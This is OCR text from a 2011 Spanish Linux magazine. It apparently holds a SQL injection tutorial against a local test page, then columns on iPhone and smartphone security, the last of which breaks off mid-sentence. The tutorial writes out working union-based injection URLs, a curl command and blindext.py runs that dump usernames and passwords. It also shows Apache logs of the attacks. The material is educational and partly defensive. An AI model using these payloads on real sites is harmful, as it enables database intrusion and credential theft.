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Entonces, vamos a empezar, luego
de tener todo preparado, jvamos a
empezar!

Entramos por ejemplo a nivel.html, y
elegimos el nivel de administrador,
esto nos redireccionara a
buggy.php?id=1, y se verd Ila
siguiente pantalla (Figura 1)

Como vemos, pasamos en el query
string (Lo que va después del ?,
para los que no saben, el id =1), y
como vemos en la consulta mysq|,
datos que
imprimimos en la pagina php.

nos devolverd los

Inyecciones de veneno

Bueno, vamos a empezar con algo
basico, en este caso es poner una '
(comilla simple), al final del query
string, quedaria asi.

http://192.168.0.113/buggy.php?id=1'

NOTA: en mi caso la ip, es
192.168.0.113, esta es la ip del dhcp
que me dio la red casera mia, pero
puede variar, no es ningun problema
esto.

Una vez, que hemos puesto la
comilla, vemos que tenemos que la
consulta ha sido modificada, y nos
retorna, “No hay columnas”.

Bueno, entonces, empezamos a
sospechar que la péagina es
vulnerable a blind sql injection.

Segundo Paso: (y el casi definitorio)
tomamos la consulta anterior, y
ponemos una condicion verdadera, y

luego una condicion falsa.

http://192.168.0.113/buggy.php?id=1
%20and%201=1

y luego

http://192.168.0.113/buggy.php?id=1
%20and%201=0

Y si vemos que en la respuesta de la
segunda, faltan datos, jes porque
casi seguro estamos ante una sql

injection!.

Buscando la cantidad de columna de
la tabla de la inyeccion.

Probamos con la siguiente pagina

http://192.168.0.113/buggy.php?id=1

%200rder%20by%201--

y vemos que la respuesta, es igual a
la que teniamos en la péagina
anterior.

http://192.168.0.113/buggy.php?id=1
order by 3--

y vemos que la respuesta, es igual a
la que la péagina
anterior.

tenfamos en

http://192.168.0.113/buggy.php?id=1
%200rder%20by%204--

Bingo, aca la respuesta de la
consulta cambié, por lo que
sabemos entonces que tenemos
una tabla con 3 columnas, lo cual es
cierto si vemos los campos de
nuestra tabla.

Los campos son id, name , y
password. Pero vemos que el
campo password nunca lo veremos
en nuestra consulta, 0 Si?, eso es
lo que queremos ver de a poco...

Bueno, acabamos de encontrar que
la base de datos, tiene una tabla
con 3 columnas, pero ain no
sabemos como se llama la base de
datos (Bueno, en realidad nosotros
sabemos, porque lo tenemos
corriendo local, pero lo divertido es
averiguarlo remotamente, jahora
vamos a ver esol).

Si sabemos que la base tiene 3
columnas, vamos a usar la funcion
unién, (No voy a explicitar sqgl basico
pero lo que hace union, es juntar
dos consultas, al parametro id, le
pasaremos un numero nhegativo,
como -1, para anular la primer parte
de la consulta, por lo que
efectivamente, la consulta que
realizaremos es la segunda), ahora
lo veremos.
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Empezando a recolectar

informacion

Lo que sigue a continuacion, son los
primeros pasos para una injection

sql.

http://192.168.0.113/buggy.php?id=-
1%20union%?20select%201,2,3--

esto, nos daria la siguiente
respuesta en el browser (Figura 2)

Fijense, que nos aparecieron dos
nameros en el campo user_id, y
username, 1 y 2, ahora con esto,
¢,qué haremos? jEsto significa que
estos campos son injectables!
Vamos a hacer uso de eso, para ver
un ejemplo. Pondré sélo un ejemplo
con salida de browser, los demas los

comentaré y lo podran probar
ustedes en su entorno (Figura 3)

http://192.168.0.113/buggy.php?id=-
1%20union%?20select%20database
%28%29,version%28%29,3--

Como pueden observar, con esta
consulta quiero averiguar la version
de la base de datos, y el nombre de
esta. El resultado de esto es:

Nombre de Base de datos: tuxinfo

Version de la base de datos: 5.1.49-
3

Ahora, lo que quiero averiguar, es el
nombre del usuario con el que esta
corriendo esta db (Figura 4)

http://192.168.0.113/buggy.php?id=-
1%20union%?20select%20user%?28
%29, @ @datadir,3--

Acéa por ejemplo vemos, el usuario
de la base de datos, y también el
directorio raiz del mysq|l.

Recordemos que vimos que
estamos corriendo mysql 5.x, esto
es una buena noticia, ya que al
tener la base de datos llamada
information_schema. Con esta base
de datos, podemos hacer consultas
para ubicar todas las BASES DE
DATOS a las que tengamos
permisos con nuestro usuario (En
este caso root), y desde esa base,
todas las tablas, y aln mas,
ibajarnos los datos de esa tabla!.

Existen en internet, miles de
tutoriales que hablan de esto, unos
mas tedricos que otros, pero lo que
vamos a tratar, es mostrar en lineas
generales algo de teoria, y luego,
vamos en esta primera entrega, a
mostrar el uso de una herramienta
(jobviamente con fines educativos!),
para poder automatizar las tareas.

Si tengo tiempo, para una segunda
entrega, se mostrardn otras cosas
que se pueden hacer al descubrir un
injection, como :

- Listar Archivos del sistema
operativo
- Escribir Archivos dentro del

sistema operativo, por ejemplo en el
webserver, que podrian en ese caso
traer como
webshell (Recuerden los comandos
exec, passthru, system de php!).

consecuencia una

- Se los dejo como tarea del hogar,
0 en todo caso, lo practican ustedes.

Volviendo al tema que nos
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preocupa. Ya saqué el usuario, la
db, sé que tiene root, ¢qué mas
puedo hacer?....

Bueno, sin adentrarnos demasiado
en MySQL, cosa que les recomiendo
si tienen tiempo y ganas, les voy a
pasar otra consulta, ya para
averiguar mejor qué tabla es la que
estamos consultando, y qué tablas
hay en la db.

Usando group_concat

Bueno, en la siguiente consulta,
vamos a ver efectivamente, cual es
la tabla de la base de datos que
estamos usando, ya sabemos el
nombre de la base de datos, ahora
queremos saber el nombre de la
tablal. Para eso, usamos el
comando de ansi sgl group_concat:

http://192.168.0.113/buggy.php?id=-
1%20union%?20select%201,group_c
oncat%?28table_name%?29,3%20FR
OM%20information_schema.tables%
20where%?20table_schema=databas
€%28%29--

Ahi (Figura 5) ya tenemos el nombre
de la DB, la versién, el usuario que
la corre, la tabla, ahora vamos a
listar las columnas de la db.

Para eso, con la informacién que
recién acabamos de recolectar,
vamos a usarla para listar las
columnas de una tabla de la db.

Para averiguar las columnas de la
tabla, debemos ejecutar la siguiente
consulta.

http://192.168.0.113/buggy.php?id=-

1%20union%?20select%201,group_c
oncat%28column_name%29,3%20F
ROM%20information_schema.colum
ns%20where%20table_name=0x757
3657273--

Ustedes se preguntaran ¢ qué es el
0x7573657273 ?
Esta es la representacion en
hexadecimal de users, para
averiguarlo, hacemos la siguiente
consulta (jGracias Sebastian
Romero por el tip!).

mysql> select hex("users");

hex ("users")

7573657273

+ — + — +
+ — 4+ — +

1l row in set (0.00 sec)

Y a eso le agregamos el Ox para la
representacion en hexadecimal...

Ahi vemos las columnas (Figura 6)
(No sé por que salid repetida,
deberia revisar), pero las columnas
son:

id, name, password.

Ahora, jvamos por los datos finales!,
si ya sabemos los nombres de las
tablas, jvamos por el dump final de
esas tablas! (Figura 7)

Y la consulta fue:

http://192.168.0.113/buggy.php?id=-

1%20union%?20select%201,group_c
oncat%28id,0x7c7c,name,0x7c7c,pa
ssword%29,3%20FROM%20users--

iya tenemos todos los datos que
gueriamos!
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Quiero Linea de comandos, jno
tanto navegador!

Seria l6gico que me digan, eh, pero
¢ho hay forma de hacer esto mismo
por linea de comandos?. Y la
respuesta es jsil. La forma de
hacerlo es mediante una
herramienta muy (til para el manejo
de protocolos http, entre otros. (Otra
recomendacion, es que se estudie el
netcat, pero eso queda para
ustedes).

curl
http://192.168.0.113/buggy.php
?id=-
1%20union%20select%201, group_c
oncat%$28id, 0x7c7¢, name, 0x7c7¢c,
password%29, 3%20FROM%20users——
<title>DEMO DE BLIND SQL
INJECTION</title><h2><center><
u>DEMO DE SQL
INJECTION<br>PARA TUX
INFO</u><br><br><font
color="#FF0000"'>user_id:
</font>1<br><font
color="#FF0000'>username:
</font>1]||administrator| |12345
6,2||jax0r| |muestra, 3| |otro] |a
lgo<br></h2></center>root@hack
:/var/log/apache2#

(En negrita el comando, en letra
comun, el resultado).

El comando en si, es:

curl
http://192.168.0.113/buggy.php
?id=-
1%20union%20select%201, group_c
oncat%$28id, 0x7c7¢c, name, 0x7c7¢c,
password%29, 3%20FROM%20users——

Como vemos, con curl, podemos
hacer consultas a la péagina, podria
automatizarse, es mas, existe la
libreria libcurl, o extensiones curl
para php, python, ruby, y seguro
otros lenguajes, para programar y
aprovecharlo al como
veremos en el proximo parrafo.

maximo,

Herramientas de automatizacion

No puedo dejar este tutorial (muy
elemental, ya que no se explicitan
las bases de SQL, ni se profundizan
grandes cosas), sin hablar de las
herramientas de automatizacién que
hacen todo esto mas sencillo.
Hablaré de estas después de que
nombre un poco de los logs que se
“generan” en nuestro servidor cada
vez que se manda una SQL
Injection.

Por ejemplo, en la dltima consulta, el
log de apache, que nos queda en el
archivo access.log (En mi caso , por

utilizar Debian, va a estar en
Ivar/log/apache/access.log, en
sistemas RH o derivados , Centos,
Fedora, etc, es

Ivar/log/httpd/access.log).

192.168.0.105 - -
[08/0Oct/2011:02:25:29 -0300] "GET
/buggy.php?id=-
1%20union%?20select%201,group_c
oncat(id,0x7c7c,name,0x7c7c,passw
ord),3%20FROM%20users--
HTTP/1.1" 200 472 "-" "Mozilla/5.0
(Windows NT  6.1; rv:7.0.1)
Gecko/20100101 Firefox/7.0.1"

Con lo que acad sacamos las
siguientes conclusiones:

El IP 192.168.0.105, es el que nos
hizo el injection:

Luego, del Método GET, vemos,

/buggy.php?id=-
1%20union%?20select%201,group_c
oncat(id,0x7c7c,name,0x7c7c,passw
ord),3%20FROM%20users--

Que significa que alguien nos esta
qgueriendo realizar la injection, y
¢,sabemos realmente si lo logré?. No
hay problemas, eso lo vamos a ver

siguiendo el mismo log.

HTTP/1.1" 200

Ese 200, viene de los mensajes de
protocolo HTTP, vy
significa que la conexibn se ha
realizado correctamente. Esto es,
que la injection fue llevada a cabo
en forma exitosa, para el atacante, y
para el admin del sitio.. una real
pesadilla...

estado del

Lo que sigue luego, es el user
agent, o sea, el agente con el que
se realiz6 el ataque, aca dice que se
realiz6 desde un Windows (uuppss,
estoy probando esto desde un
windows sorry :S), y el agente, en
este caso, firefox 7.0.1. (Aunque
esto puede ser facilmente
modificable).

Uds veran, que, cada actividad
queda registrada en el server
apache, asi que nuestras injections
van a quedar registradas, siempre
en el archivo de logs de apache
(Salvo que el admin por algin
motivo suicida no actualice el log del
apache).

Bueno, ahora que vimos el tema de
los logs, vamos a mostrar una
herramienta de automatizacion,
llamada blindext.

La bajamos a esta de

www.cOdezone.com/darkcOde/other
s/blindext.py

lo corremos con un -h, para tener
mas ayuda:
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root@hack:~/codes# ./blindext.py -h

Usage: ./blindext.py [options] rsauron[@]gmail [dot] com darkcOde.com
Modes:
Define: —--schema Enumerate Information_schema Database.
Define: —-dump Extract information from a Database, Table and Column.
Define: —-dbs Shows all databases user has access too.
Define: —-fuzz Fuzz Tables and Columns.
Define: —-info Prints server version, username@location, database name.

Required:
Define: -u "www.site.com/news.php?id=234"
Define: -s "truetextinpage"

Modes dump and schema options:

Define: -D "database_name"

Define: -T "table_name"

Define: -C "column_name, column_name..."

Optional:

Define: -r row to begin extracting info at.

Define: -p "127.0.0.1:80 or proxy.txt"

Define: -o "ouput_file_name.txt" Default:blindextlog.txt

./blindext .py —-dbs -u "www.site.com/news.php?id=234" -s "textinpage" -o output.txt
./blindext .py —-—fuzz -u "www.site.com/news.php?id=234" -s "textinpage" -p
.1:8080

./blindext .py —--schema -u "www.site.com/news.php?id=234" -s "textinpage" -D catalog
./blindext .py —--schema -u "www.site.com/news.php?id=234" -s "textinpage" -D catalog -T
orders -p proxy.txt
Ex: ./blindext.py ——dump -u "www.site.com/news.php?id=234" -s "textinpage" -D newjoom -T
jos_users —-C username,password

Y vemos, que lo primero, es sacar informacion de la base de datos, eso lo hacemos, con el query string, y un valor
valido, del query string original, sin “injectar”.

Como vemos (Figura 8), tenemos como datos de lo que aparecen de la consulta original, la palabra administrador, que
la vamos a usar para la herramienta. (administrator es la palabra verdadera en la consulta)
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user_id: 1

username: 1||administrator||123456,2||jax0r||muestra,3||otro||algo

Figura 8
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root@hack:~/codes# ./blindext.py —-—info -u "192.168.0.113/buggy.php?id=1" -s "administrator"

| |
| rsauron[@]gmail[dot]com v3.0 |
| 7/2008 blindext.py |
| -Blind MySQL v5+ Information_schema Database Enumeration |
| -Blind MySQL v4+ Data Extractor |
| -Blind MySQL v4+ Table & Column Fuzzer |
| Usage: blindext.py [options] |
| -h help darkcOde.com |
| |

[+] URL: http://192.168.0.113/buggy.php?id=1
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing database version, username@location, and database name!
[+] 19:42:36
5.1.49-3:root@localhost:tuxinfo

19:42:37
Total URL Requests 227
Done

Don't forget to check blindextlog.txt

Bueno, como vemos aca, sacamos la siguiente informacion:

Ya sabemos que la base es mysq|, version 5.1.49-3, y que corre el usuario root, en localhost, la base de datos tuxinfo.
Ya con esto, podemos seguir usando la herramienta.

Todo muy lindo, pero me llené de logs,

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a, user (), 0x3a,database())), 25
,1))>117 HTTP/1.1" 200 268 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 25
,1))>116 HTTP/1.1" 200 268 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>63 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>95 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>111 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>119 HTTP/1.1" 200 268 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>115 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 26
,1))>117 HTTP/1.1" 200 268 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a, user (), 0x3a,database())), 26
,1))>116 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 27
,1))>63 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"

192.168.0.113 - - [12/0ct/2011:19:50:00 -0300] "GET

/buggy .php?id=1+and+ascii (substring ( (SELECT+concat (version (), 0x3a,user (), 0x3a,database())), 27
,1))>95 HTTP/1.1" 200 432 "-" "Python-urllib/2.6"
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Fijense, que todos estos logs (y que en realidad, son muchisimos mas, fueron tan solo para investigar qué user corre la
base, la version, y la db. Imaginense los logs que van a generar, si tratan de bajar mas informacién de la db. Bueno,
hecha la aclaracion, sigo avanzando con el tema de mostrar la herramienta de automatizacién. Queremos averiguar el
esquema de la db que ya averiguamos el nombre, que se llama tuxinfo. Para eso, en el parametro, cambiamos el —info
por el —schema, y luego, ponemos la base de datos, que es tuxinfo.

root@hack:~/codes# ./blindext.py —--schema -u "192.168.0.113/buggy.php?id=1" -s
"administrator" -D tuxinfo

I

| rsauron[@]gmail[dot]com v3.0
| 7/2008 blindext.py

| -Blind MySQL v5+ Information_schema Database Enumeration
| -Blind MySQL v4+ Data Extractor
| -Blind MySQL v4+ Table & Column Fuzzer

| Usage: blindext.py [options]

| -h help darkcOde.com
I

[+] URL: http://192.168.0.113/buggy.php?id=1
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Tables from database "tuxinfo"
[+] 20:07:52
Number of Rows: 1

users

20:07:53

Total URL Requests 59
Done

Don't forget to check blindextlog.txt

Nota: fijarse que todos los logs, quedan en blindextlog.txt. Ahora, vamos a averiguar los campos de la tabla users
(recién averiguada):

root@hack:~/codes# ./blindext.py —-—-schema -u "192.168.0.113/buggy.php?id=1" -s
"administrator" -D tuxinfo -T users

rsauron[@]gmail [dot]com v3.0
7/2008 blindext.py
-Blind MySQL v5+ Information_schema Database Enumeration
-Blind MySQL v4+ Data Extractor
-Blind MySQL v4+ Table & Column Fuzzer
Usage: blindext.py [options]
-h help darkcOde.com

URL: http://192.168.0.113/buggy.php?id=1
Proxy Not Given
Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
Showing Columns from database "tuxinfo" and Table "users"
20:10:38
Number of Rows: 3

id
name

password

20:10:39
Total URL Requests 137
Done

Don't forget to check blindextlog.txt
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Como vemos, ya sacamos los
campos de la tabla
id,name,password. Ahora vamos a
recopilar los datos que hemos
extraido, para hacer ya el volcado

users.

(dump) de la data final. Base de
datos: tuxinfo, Nombre de tabla:
users, Campos: id,name,password.
Ahora, vamos a cambiar el
parametro —schema, por el —dump,

para poder hacer el volcado final de
la tabla users, los campos que le
estamos indicando.

./blindext .py ——dump -u "192.168.0.113/buggy.php?id=1" -s "administrator" -D tuxinfo -T users

—C id, name, password

rsauron[@]gmail [dot]com
7/2008 blindext.py

-Blind MySQL v5+ Information_schema Database Enumeration

-Blind MySQL v4+ Data Extractor
-Blind MySQL v4+ Table & Column Fuzzer

Usage: blindext.py [options]

darkcOde.com

URL: http://192.168.0.113/buggy.php?id=1

Proxy Not Given

Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
Dumping data from database "tuxinfo" Table "users"

and Column (s)
20:13:43
Number of Rows: 3

[rid',

1l:administrator:123456
2:jax0Or:muestra
3:otro:algo

20:13:44
Total URL Requests 375
Done

'name’,

'password’']

Don't forget to check blindextlog.txt

Como vemos, me mostré todos los
registros, de la tabla users, de la
base de datos tuxinfo. Bueno, como
veniamos hablando, vamos a hacer
una comparativa de las
herramientas.

Pros
mucho

- No se necesita

conocimiento para poder usarlas

- Réapidas para ejecutar, e irse a
hacer otra cosa, y luego regresar a
ver los resultados.

- Permite hacer un test en forma
desatendida (En algunos casos).-

Contras

- No se sabe qué se estd haciendo

en realidad (Que es lo fundamental
para un ethical hacker).

- Muchas veces fallan, y no se esta
dando la realidad de lo que pasa con
la base

- Como ya vimos, nos dejan miles de
logs, porque al tratar de adivinar o
de ver por fuerza bruta ciertas
cosas, llenan de logs.

Bueno, como veran, aca ya tienen
un pantallazo de lo que es sql
injection, de los peligros que
conlleva, y de las herramientas de
automatizacion de un sql injection.

La segunda parte incluira
caracteristicas mas avanzadas de
un sql injection, como imprimir un
fichero si el userdb tiene privilegios,

y escribir un fichero en alguna parte
del OS. También veremos otra
herramienta, llamada SQLmap, y
dos herramientas mas, SQLi Helper
y Havij (Estas se corren desde
Windows).  Asimismo, veremos
como  protegernos de  estas
injections, y algo de configuracion
de seguridad en PHP. Espero que
hayan disfrutado de la nota.

Marcelo Guazzardo
mguazzardo76@gmail.com
Senior Unix Administrator
Administrador Linux, Aix,

HPUX y Solaris
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Hace mucho tiempo que tenia
como meta personal poder generar
un informe de seguridad en los
equipos moviles. El tema pasaba
por como encarar la tarea, y de
alguna manera pensé que la mejor
manera seria que hablen los
expertos.

Para ello me contacté con las
empresas de mayor renombre, y
que en base a unas preguntas
(idénticas para cada empresa)
puedan responderlas y ademas
sumarles informacion.

Como si fuera poco me comuniqué
con un experto en seguridad de
renombre, como lo es Chema
Alonso; quien nos generdé un
completo informe con enlaces muy
interesantes.

Sin  mas va el

informe...

rodeos, aqui

Ariel M. Corgatelli

tuxmovil

Seguridad en los
Smartphones

Tengo un ay!fon (y mas me vale
estar alerta)

por Chema Alonso

Estar en el centro de todas las
miradas siempre hace que salgan
amantes y detractores, y el mundo
del software, eso implicara que el
namero de personas buscando
fallos a un software crezca a la par
que crece la popularidad del
mismo. En el caso de los
dispositivos méviles es innegable la
popularidad de los terminales
iPhone de Apple, a los que yo, con
todo mi carifio maligno llamo ay!fon.

Es innegable que conseguir que
haya gente en las tiendas de Apple
haciendo cola por pagar 600 USD
por tener un ay!fon es un claro éxito
del mundo del marketing, que se
debe casi por completo al
malogrado Steve Jobs, quien esta
claro sabia hacer dinero con la
gente y que lo pagaran a gusto.

Centrandonos en el mundo de la
seguridad informatica, resulta hasta

obsceno que a un usuario de un
teléfono haya que informarle de los
riesgos y las medidas de
proteccion que debe aplicar a su
“electrodomeéstico”. ¢Os imaginéis
contandole medidas de proteccion
a vuestros mayores para manejar
un frigorifico? ¢ O para usar un fax?
“Tenga cuidado y actualice el
software de su Fax para evitar que
le tire fotos en su intimidad y envie
faxes a todos su amigos”. Es casi
vergonzoso para el mundo de la
tecnologia que algo asi pasara,
pero... ha pasado, y con ello
tenemos que vivir. - Y ya veremos
gqué pasa con los frigorificos
cuando se implante definitivamente
la domotica en las viviendas -

En el caso de los smartphones, la
inteligencia del terminal tiene un
precio, y ese precio lo tenemos que
pagar hoy en dia. Si juntamos en el
cocktail un sistema operativo que
tradicionalmente no habia sido
objetivo los atacantes como Mac
OS X y que por tanto no se habia
preocupado demasiado por la
seguridad, le damos un hardware
inferior al que usa un sistema
operativo de escritorio al uso, con
lo que limitamos el ndmero de
protecciones que se pueden
implementar, y le afiadimos 20
millones de usuarios que creen que
se han comprado un
electrodoméstico, entonces




tenemos algo explosivo.

Es por ello que los equipos y
empresas de inteligencia compran
los exploits que permiten tomar
control remoto de los smartphones
como iPhone. Navegar por Internet
0 seguir un enlace en un correo
electrénico recibido en un ay!fon se
convierte casi en un acto de fe, ya
gue version a versién podemos ver
como el nuamero de fallos de
seguridad y la criticidad de los
mismos es enorme.

Baste como muestra un botén. En
el afio 2010 se descubrieron 60
fallos de seguridad en iOS 4 [1], el
sistema operativo de los ay!fon —
basado en Mac OS X -, y sélo en el
salto a la version 5 se han
corregido 98 fallos de seguridad[2],
la mayoria de ellos en el webkit, es
decir, a tiro de visitar la pagina web
equivocada.

Lo mas curioso es que, por
desgracia para los usuarios de un
iPhone, es que los terminales son
abandonados sin soporte para
parches de seguridad a los 2 afios
de vida, algunos incluso, vendidos
de forma mas tardia por operadoras
de telefonia con garantia de
permanencia mas alla del periodo
en el que van a tener parches de
seguridad por Apple [3].

Pero es que ademas, solo durante
este Ultimo afio han aparecido los
exploits de JailbreakMe 3.0 [4], que
pueden ser facilmente modificados
por cualquiera para crear, como
hizo el investigador José Selvi, su
propio JailOwnMe[5], ejecutando lo
que se quiera en un dispositivo
iPhone que visite la pagina web
equivocada. También se publicé el
fallo en las BasicsConstraints en los
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certificados digitales, que dejaba
realizar ataques Man in The Middle
a conexiones “seguras” http-s con,
por ejemplo, sslsniff del gran Moxie
Marlinspike[6], sin generar ni un
Unico mensaje de alerta. O también
se pudo ver como los
investigadores de Taddong
comprobaron que iPhone no avisa
cuando hay una conexion a una red
de telefonia sin cifrar [7] o cémo no
hay manera de forzar conexiones
de datos de telefonia seguras[8].

Yo, por mi parte, me volvi loco
intentando saber por qué no podia
ver cuales son las redes WiFi
conocidas a las que mi terminal
iPhone se va a conectar
automaticamente sin comprobar el
BSSID de la red, lo que le hace
vulnerable a ataques de falsos
puntos de acceso (Rogue AP) de la
forma mas tierna que se pueda
hacer [9].

¢Alguno de vosotros ha consultado
el nimero de fallos de seguridad
conocidos en el software de
BlackBerry? Pues mientras que iOS
supera el centenar de bugs
conocidos durante el afio 2011, en
el software de las BlackBerry este
afo no se ha descubierto ninguno,
y en el afio 2010 se descubrid

uno... de nivel bajo [10] ¢Por qué
esta diferencia?

Yo creo que BlackBerry no ha roto
el famoso tipping-point en el que se
atrae a la industria del malware, y a
los security researchers sobre
ellos, pero también puede ser que
ay'fon (y Android, que merece un
tema completo aparte) se lleva las
luces de la pista central. Y con eso
hay que vivir.

Si tienes un ay!fon asume que los
fallos de seguridad existen — y
muchos -, que los enemigos
existen — y muchos -, y que las
formas de tomar control sobre todo
lo que hagas, leas o tengas en tu
ay'fon existen — y muchas — asi
gue... estate alerta.

Chema Alonso
Security Researcher en

Informdtica 64

Microsoft MVP en

Enterprise Security
chema@informatica64.com
twitter: @chemaalonso
http://www.elladodelmal.com
http://www.informatica64.com

[1] “Apple, el fabricante de software con mas vulnerabilidades segun CISCO, sera

objetivo de ataques en 2011”

http://www.seguridadapple.com/2011/01/apple-el-fabricante-de-software-con-mas.html
[2] “iOS 5: Novedades en seguridad para iPhone e iPad”
http://www.seguridadapple.com/2011/10/ios-5-novedades-en-seguridad-para.html

[3] “Permanezca usted inseguro con Claro e iPhone 3G”
http://www.seguridadapple.com/2011/05/permanezca-usted-inseguro-con-claro-e.html
[4] “Apple cierra los bugs explotados en Jailbreakme 3.0”
http://www.seguridadapple.com/2011/07/apple-cierra-los-bugs-explotados-en.html

[5] “JailOwnMe o como mutar JailbreakMe 3.0 y meter una shell”
http://www.seguridadapple.com/2011/09/jailownme-o0-como-mutar-jailbreakme-30-y.html
[6] “Danger: SSLSniff ataca equipos no parcheados a iOS 4.3.5”
http://www.seguridadapple.com/2011/07/danger-sslsniff-ataca-equipos-no.html

[7] “iPhone no alerta de conexiones GSM sin cifrar”
http://www.seguridadapple.com/2011/02/iphone-no-alerta-de-conexiones-gsm-sin.html
[8] “Atacando iPhone e iPad con redes falsas GPRS y EDGE”
http://www.seguridadapple.com/2011/01/atacando-iphone-e-ipad-con-redes-falsas.html
[9] "Gestion insegura de redes WiFi en iOS”
http://www.seguridadapple.com/2011/06/gestion-insegura-de-redes-wifi-en-ios.html
[10] “Vulnerability Report: BlackBerry Device Software 5.x”

- http://secunia.com/advisories/product/32505/?task=advisories
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Seguridad en smartphones

por Pablo Atilio Ramos,
Especialista en Awareness &
Research de ESET Latinoamérica

Los smartphone se presentan
desde hace ya algun tiempo como
los sucesores de los teléfonos
moviles, en ddénde combinan las
llamadas y mensajes de texto con
una conexion a Internet las 24
horas del dia y la posibilidad de
acceder a correos electronicos,
redes sociales y a las cuentas
bancarias del La gran
cantidad de funcionalidades con las
que cuentan estos dispositivos
conlleva a que el usuario guarde
toda su informacion en un solo
lugar, sus contrasefias, sus
contactos e hasta
informacion confidencial de su
trabajo. Es de esta manera que
ante la posibilidad de que un
atacante acceda a su informacion
ya sea mediante el acceso fisico al
dispositivo o con la utilizacion de un
cédigo malicioso, el usuario debe
protegerse con una solucién de
seguridad como que le permita no
sélo detectar
informaticas sino también poder
eliminar la informacion contenida en
el smartphone, mitigando asi la
fuga de informacion.

usuario.

incluso

amenazas

Entre los principales riesgos que
corren los usuarios para proteger
su informacién se encuentra el
desconocimiento de cuales son las
amenazas existentes y por sobre
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utilizar
como

todo la posibilidad de
soluciones de seguridad
ESET Mobile Security para proteger
sus datos. Soélo el 20% de los
usuarios protege su dispositivo
moévil  con una
seguridad lo que deja a un amplio
margen de ellos vulnerables ante
los ataques de los ciber
delincuentes.

solucion  de

Durante el presente afio se han
detectado y reportado un creciente
numero de cédigos maliciosos para
las plataformas moviles que
ademas de robar datos como el
namero de teléfono del usuario,
enviar mensajes de texto a nimero
Premium, pueden
Smartphone en parte de una red de
equipos zombis controlados de
manera remota. Es decir, con el
crecimiento en el mercado de estos
equipos, los desarrolladores de
codigos estan
enfocandose hacia esta plataforma
en dénde los usuarios suelen creer
gue no hay amenazas.

convertir el

maliciosos

Uno de los riesgos mas latentes en
lo que respecta a los datos
almacenados en los dispositivos
moviles es la informacién que estos
almacenan. En el caso de que al
usuario le roben o pierda su equipo,
todos los datos contenidos en él
podrian  estar comprometidos.
Funciones como el Anti-Theft de
ESET Mobile Security permiten
realizar el borrado de toda la
informacion a través de un mensaje
de texto, garantizandole al usuario
que el atacante no va a poder
acceder a los mismos.

Sin embargo, existen también otras
medidas de seguridad a tomar por
los usuarios para proteger su
equipo y la informacion contenida

en él entre los cuales podemos
mencionar la utilizacibn de un
codigo de desbloqueo del equipo,
la descarga de aplicaciones solo
desde sitios oficiales y ademas
deshabilitar los medios de conexion
como el Bluethooth o el Wi-Fi en
caso de que no los esté utilizando.

La seguridad de la informacién en
los dispositivos moviles incluye no
s6lo informacién personal del
usuario, sino que también
almacenan datos de sus contactos,
0 acceso a la red de su trabajo.
Debido a estas variables es
necesario que los usuarios se
concienticen acerca de las
amenazas existentes para las
plataformas moviles y de esta
manera mantener segura Su
informacion.

1- ;Como ve ESET el mercado
de los dispositivos moviles?
¢Cudl es el futuro del mismo?

moviles le
los usuarios estar

Los  dispositivos
permiten a
conectados las 24 horas del dia
con el objetivo de que puedan
acceder a sus correos, las redes
sociales o incluso a navegar por
Internet desde la ubicacion en la
que se
actualidad se estdn comenzando a
utilizar estos dispositivos para el
acceso a las cuentas bancarias de
remota, y ademas ya
existen proyectos que le permitiran
al usuario realizar pagos con su
Smartphone como si fuese una
tarjeta de crédito. Ante esta gran
cantidad de funcionalidades es
necesario contar con una solucion
de seguridad que permita proteger
los datos del usuario.

encuentren. En la

manera

2- ¢ Qué tan importante es para el




usuario contar con un Soft de
seguridad para este tipo de
dispositivos? ¢Cuales son los
riesgos a los que se enfrenta un
usuario sin ningin Soft?

Utilizar una solucion de seguridad
en los smartphones es importante
para los usuarios ya que ademas
de protegerlo contra los cdodigos
maliciosos le permite, entre otras
cosas, borrar la informacion
contenida en el mismo de manera
remota en caso de robo o pérdida
del dispositivo. Entre los principales
riesgos a los que el usuario se
expone se encuentra el robo de
informacion a través de los codigos
maliciosos, ya que la mayoria de
los codigos maliciosos se
encuentran inyectados en
aplicaciones oficiales que luego son
